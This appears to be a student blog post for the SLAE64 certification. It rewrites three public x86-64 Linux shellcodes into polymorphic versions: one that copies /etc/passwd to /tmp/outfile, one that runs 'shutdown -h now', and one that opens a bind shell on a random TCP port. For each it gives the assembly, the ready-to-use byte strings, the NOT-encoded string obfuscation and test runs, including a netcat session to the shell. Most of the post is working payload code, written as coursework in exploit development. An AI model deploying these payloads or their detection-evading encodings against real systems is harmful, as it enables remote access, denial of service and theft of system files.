SLAE64 Assignment 6 - Polymorphic Shellcodes

7 minute read

Introduction

The goal of this sixth assignement is to create polymorphic versions of three shellcodes from Shell Storm
These versions cannot be larger than 150% of the original shellcode and we get bonus points to make them shorter.

All the source code for this assignment can be found on my github repository

Shellcodes

The payloads I’ve chosen are :

Reads data from /etc/passwd to /tmp/outfile

The source code is as follow :
Size : 118 bytes

    ; open("/etc/password", O_RDONLY)
        xor rax, rax
        mov al, 2			; open syscall value
        xor rdi, rdi			; RDI set to 0
        mov rbx, 0x647773		; 
        push rbx			; push '\x00dws'		
        mov rbx, 0x7361702f6374652f
        push rbx			; push 'sap/cte/'
        lea rdi, [rsp]			; RDI point to '/etc/password\x00'
        xor rsi, rsi			; RSI O_RDONLY
        syscall				; exec open

    ; read(fd, *buffer, 65535)
        mov rbx, rax			; save fd to RBX
        xor rax, rax			; read syscall value
        mov rdi, rbx			; copy fd to RDI
        mov rsi, rsp			; RSI point on top of the stack 
					; (to write /etc/passwd content)
        mov dx, 0xFFFF			; size : 65535 bytes
        syscall				; exec read

    ; open("/tmp/outfile", (O_RDWR, O_CREATE (and I'm not sure), 07777) 
    ;  o146 see /usr/include/x86_64-linux-gnu/bits/fcntl-linux.h
        mov r8, rax			; copy number of bytes read
        mov rax, rsp			; save pointer to /etc/password contents
        xor rbx, rbx
        push rbx			; string terminator
        mov rbx, 0x656c6966		 
        push rbx			; push 'elif'
        mov rbx, 0x74756f2f706d742f
        push rbx			; push 'tuo/pmt/'
        mov rbx, rax			; RBX point to /etc/password contents
        xor rax, rax
        mov al, 2			; open syscall value
        lea rdi, [rsp]			; RDI point to '/tmp/outfile\x00'
        xor rsi, rsi			
        push 0x66
        pop si				; flags O_RDWR, O_CREATE
					; RDX already set 07777
        syscall				; exec open


    ; write("/tmp/outfile", *buf, count)
        mov rdi, rax			; pointer to "/tmp/outfile\x00"
        xor rax, rax
        mov al, 1			; write syscall value
        lea rsi, [rbx]			; RSI point to the memory address value
					; of the /etc/password file, stored in memory 
        xor rdx, rdx
        mov rdx, r8			; copy number of bytes read in /etc/password
					; to RDX the number of bytes to write arguments
        syscall				; exec write

Polymorphic version :
Size : 93 bytes

    ; open("/etc/password", O_RDONLY)
        xor esi, esi			; RSI O_RDONLY
        mul esi				; RDI, RAX, RDX = 0
        push rax			; string terminator
        mov ecx, 0x64777373		; 'dwss'
        push rcx			
        mov rcx, 0x61702f2f6374652f	; 'ap//cte/
        push rcx
        mov rdi, rsp			; RDI point to "/etc/passwd"
        mov al, 2			; open syscall value
        syscall                  	; exec open

    ; read(fd, *buffer, 65535)
        xchg rsi, rdi			; RSI point to the top of the stack
					; to write data that will be read from fd
        xchg edi, eax			; EDI = file descriptor
        mov eax, edx			; read syscall value
        or dx, 0xFFFF			; count bytes to read
        syscall				; exec read

        xchg r13, rax			; save number of bytes read
        mov rbx, rsp			; RBX point to datas read

    ; open("/tmp/outfile", (O_RDWR, O_CREATE..), 07777) 
        xor eax, eax
        push rax			; String terminator
        xchg eax, esi			; RSI set to 0
        mov rax, 0x656c6966
        push rax			; push 'elif'
        mov rax, 0x74756f2f706d742f
        push rax			; push 'tuo/pmt/'
        xor eax, eax
        mov al, 0x66			
        xchg eax, esi			; RSI set to flags
        mov al, 2			; open syscall value
        mov rdi, rsp			; RDI point to "/tmp/outfile"
        syscall				; exec open

    ; write("/tmp/outfile", *buf, count)
        mov edi, eax			; RDI set to fd for /tmp/outfile
        xor eax, eax			
        inc eax				; write syscall number
        lea rsi, [rbx]			; RSI point to data from /etc/passwd
					; stored in the stack
        xchg rdx, r13			; RDX set to number of bytes to write
					; (same as the number of bytes read from /etc/passwd)
        syscall				; exec write

Original shellcode :
\x48\x31\xc0\xb0\x02\x48\x31\xff\xbb\x73\x77\x64\x00\x53\x48\xbb\x2f\x65\x74 \x63\x2f\x70\x61\x73\x53\x48\x8d\x3c\x24\x48\x31\xf6\x0f\x05\x48\x89\xc3\x48 \x31\xc0\x48\x89\xdf\x48\x89\xe6\x66\xba\xff\xff\x0f\x05\x49\x89\xc0\x48\x89 \xe0\x48\x31\xdb\x53\xbb\x66\x69\x6c\x65\x53\x48\xbb\x2f\x74\x6d\x70\x2f\x6f \x75\x74\x53\x48\x89\xc3\x48\x31\xc0\xb0\x02\x48\x8d\x3c\x24\x48\x31\xf6\x6a \x66\x66\x5e\x0f\x05\x48\x89\xc7\x48\x31\xc0\xb0\x01\x48\x8d\x33\x48\x31\xd2\x4c \x89\xc2\x0f\x05

The new shellcode :
\x31\xf6\xf7\xe6\x50\xb9\x73\x73\x77\x64\x51\x48\xb9\x2f\x65\x74\x63\x2f\x2f \x70\x61\x51\x48\x89\xe7\xb0\x02\x0f\x05\x48\x87\xf7\x97\x89\xd0\x66\x83\xca \xff\x0f\x05\x49\x95\x48\x89\xe3\x31\xc0\x50\x96\xb8\x66\x69\x6c\x65\x50\x48 \xb8\x2f\x74\x6d\x70\x2f\x6f\x75\x74\x50\x31\xc0\xb0\x66\x96\xb0\x02\x48\x89 \xe7\x0f\x05\x89\xc7\x31\xc0\xff\xc0\x48\x8d\x33\x49\x87\xd5\x0f\x05

Final size -25 bytes, null bytes free and we retrieve only the strings and the syscall opcodes.

skrox@kali:~$ ls -l /tmp/outfile
ls: impossible d'accéder à '/tmp/outfile': Aucun fichier ou dossier de ce type
skrox@kali:~$ ./read-poly 
len: 93 bytes
Erreur de segmentation
skrox@kali:~$ ls -l /tmp/outfile
-rwxr-xr-t 1 skrox skrox 2078 juin   7 01:11 /tmp/outfile

shutdown -h now

The original code is as follow :
Size : 65 bytes

	xor rax, rax
	xor rdx, rdx 		     ; RAX, RDX set 0

	push rax		     ; '\x00'
	push byte 0x77		     ; 'w'
	push word 0x6f6e             ; 'on'
	mov rbx, rsp		     ; RBX point to "now"

	push rax		     ; '\x00'
	push word 0x682d 	     ; 'h-'
	mov rcx, rsp		     ; RCX point to "-h"

	push rax                    ; '\x00'
	mov r8, 0x2f2f2f6e6962732f  ; ///nibs/
	mov r10, 0x6e776f6474756873 ; nwodtuhs
	push r10		
	push r8
	mov rdi, rsp	            ; RDI point to "/sbin///shutdown"

	push rdx
	push rbx
	push rcx
	push rdi
	mov rsi, rsp		    ; RSI point to ["/bin///shutdown","-h","now']

	add rax, 59		    ; execve syscall
	syscall			    ; syscall exec

Polymorphic version :
Size : 68 bytes (+3 bytes)

	mov rax, 0xff889091ffff97d2	; string not encoded
	not rax				; decode
	push rax			 
	lea rcx, [rsp+4]		; RCX point to "now\x00"
	mov rsi, rsp			; RSI point to "-h\x00"

	mov rax, 0xff9188909b8b8a97	; string not encoded
	not rax				; decode
	push rax
	mov rax, 0x8cd0d091969d8cd0	; string not encoded
	not rax				; decode
	push rax
	mov rdi, rsp			; RDI point to "/sbin//shutdown\x00"

	cdq				; RDX null pointer
	push rdx			; array terminator
	push rcx
	push rsi
	push rdi
	lea rsi, [rsp]			; RSI point to argv[]

	mov eax, edx
	mov al, 59			; execve syscall value
	syscall				; exec execve

Original shellcode : \x48\x31\xc0\x48\x31\xd2\x50\x6a\x77\x66\x68\x6e\x6f\x48\x89\xe3\x50\x66\x68 \x2d\x68\x48\x89\xe1\x50\x49\xb8\x2f\x73\x62\x69\x6e\x2f\x2f\x2f\x49\xba\x73 \x68\x75\x74\x64\x6f\x77\x6e\x41\x52\x41\x50\x48\x89\xe7\x52\x53\x51\x57\x48 \x89\xe6\x48\x83\xc0\x3b\x0f\x05

The new shellcode : \x48\xb8\xd2\x97\xff\xff\x91\x90\x88\xff\x48\xf7\xd0\x50\x48\x8d\x4c\x24\x04 \x48\x89\xe6\x48\xb8\x97\x8a\x8b\x9b\x90\x88\x91\xff\x48\xf7\xd0\x50\x48\xb8 \xd0\x8c\x9d\x96\x91\xd0\xd0\x8c\x48\xf7\xd0\x50\x48\x89\xe7\x99\x52\x51\x56 \x57\x48\x8d\x34\x24\x89\xd0\xb0\x3b\x0f\x05

It shutdown the system where it is run nothing more.

bind TCP random port

The original code is as follow (gdb dump) :
Size : 57 bytes

Dump of assembler code for function code:

   ;socket(AF_INET,SOCK_STREAM, 0)
=> 0x0000555555558060 <+0>:	xor    rsi,rsi
   0x0000555555558063 <+3>:	mul    rsi		; RAX,RDX,RSI set to 0
   0x0000555555558066 <+6>:	inc    esi		; SOCK_STREAM
   0x0000555555558068 <+8>:	push   0x2
   0x000055555555806a <+10>:	pop    rdi		; AF_INET
   0x000055555555806b <+11>:	mov    al,0x29		; socket syscall value
   0x000055555555806d <+13>:	syscall 		; exec socket

   ; listen(sockfd, 0)
   ; Here I've learned that we can use listen without bind, and a random is assigned
   0x000055555555806f <+15>:	push   rdx		
   0x0000555555558070 <+16>:	pop    rsi		; backlog 0
   0x0000555555558071 <+17>:	push   rax
   0x0000555555558072 <+18>:	pop    rdi		; sockfd
   0x0000555555558073 <+19>:	mov    al,0x32		; listen syscall value
   0x0000555555558075 <+21>:	syscall 		; exec listen

   ;accept(sockfd, null, null)
   0x0000555555558077 <+23>:	mov    al,0x2b		; accept syscall value
   0x0000555555558079 <+25>:	syscall 		; exec accept

   ; dup2(sockfd, stdX) loop
   0x000055555555807b <+27>:	push   rdi
   0x000055555555807c <+28>:	pop    rsi		; in theory set to 3 (stderr + 1)
   0x000055555555807d <+29>:	xchg   rdi,rax		; RDI set to accept sockfd
   ;loop:
   0x000055555555807f <+31>:	dec    esi		; counter from 2 to 0 (stderr to stdin)
   0x0000555555558081 <+33>:	mov    al,0x21		; dup2 syscall value
   0x0000555555558083 <+35>:	syscall 		; exec syscall
   0x0000555555558085 <+37>:	jne    0x55555555807f <code+31> ; loop until RSI = 0

   ; execve("//bin/sh", null, null)
   0x0000555555558087 <+39>:	push   rdx		; string terminator
   0x0000555555558088 <+40>:	movabs rdi,0x68732f6e69622f2f 
   0x0000555555558092 <+50>:	push   rdi
   0x0000555555558093 <+51>:	push   rsp
   0x0000555555558094 <+52>:	pop    rdi		; point to "//bin/sh"
   0x0000555555558095 <+53>:	mov    al,0x3b          ; execve syscall value
   0x0000555555558097 <+55>:	syscall 		; exec execve

Polymorphic version :
Size : 55 bytes

_start:
	push 0x1
	push 0x2
	push 0x29
	pop rax		; socket syscall value
	pop rdi		; AF_INET
	pop rsi		; SOCK_STREAM
	cdq		; RDX 0	
	syscall		; exec socket(AF_INET, SOCK_STREAM, 0)

	dec esi		; backlog 0
	xchg eax, edi	
	add al, 0x30	; 0x32, listen syscall value
	syscall 	; exec listen(sockfd, 0)

	add al, 0x2b	; accept syscall value
			; (listen return 0 on success) 
	syscall 	; exec accept(sockfd, null, null)

	xchg eax, edi   ; EDI new sockfd, EAX 3 
loop:
	dec    eax	; first then next stdX
	mov sil, 0x21	
	xchg eax, esi	; ESI counter, EAX dup2 syscall value
	syscall 	; dup2(sockfd, stdX) return the stdX value in EAX
	jne    loop	; loop until syscall return 0

	mov rbx, 0xff978cd091969dd0  ; ~'/bin/sh\x00'
	not rbx
	push   rbx
	mov rdi, rsp	; RDI point to "/bin/sh\x00"
	add al, 0x3b	; execve syscall value (RAX set to 0 by last dup2 syscall)
	syscall		; exec execve("/bin/sh",null,null)

Original shellcode :
\x48\x31\xf6\x48\xf7\xe6\xff\xc6\x6a\x02\x5f\xb0\x29\x0f\x05\x52\x5e\x50\x5f \xb0\x32\x0f\x05\xb0\x2b\x0f\x05\x57\x5e\x48\x97\xff\xce\xb0\x21\x0f\x05\x75 \xf8\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f\x05

The new shellcode :
\x6a\x01\x6a\x02\x6a\x29\x58\x5f\x5e\x99\x0f\x05\xff\xce\x97\x04\x30\x0f\x05 \x04\x2b\x0f\x05\x97\xff\xc8\x40\xb6\x21\x96\x0f\x05\x75\xf6\x48\xbb\xd0\x9d \x96\x91\xd0\x8c\x97\xff\x48\xf7\xd3\x53\x48\x89\xe7\x04\x3b\x0f\x05

Only the syscall opcodes are the same, the string is obfuscated and all other instructions are modified.

skrox@kali:~/$ gcc -fno-stack-protector -z execstack bind-random-poly.c -o bind-random-poly
skrox@kali:~$ ./bind-random-poly 
Shellcode Length:  55

#And on another terminal
skrox@kali:~$ netstat -antp |grep bind-random
tcp        0      0 0.0.0.0:58367           0.0.0.0:*               LISTEN      15684/./bind-random 
skrox@kali:~$ nc -nv 127.0.0.1 58367
(UNKNOWN) [127.0.0.1] 58367 (?) open
id
uid=1000(skrox) gid=1000(skrox) groups=1000(skrox)

And it’s all for this one, thanks for reading :)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
Student ID: PA-14186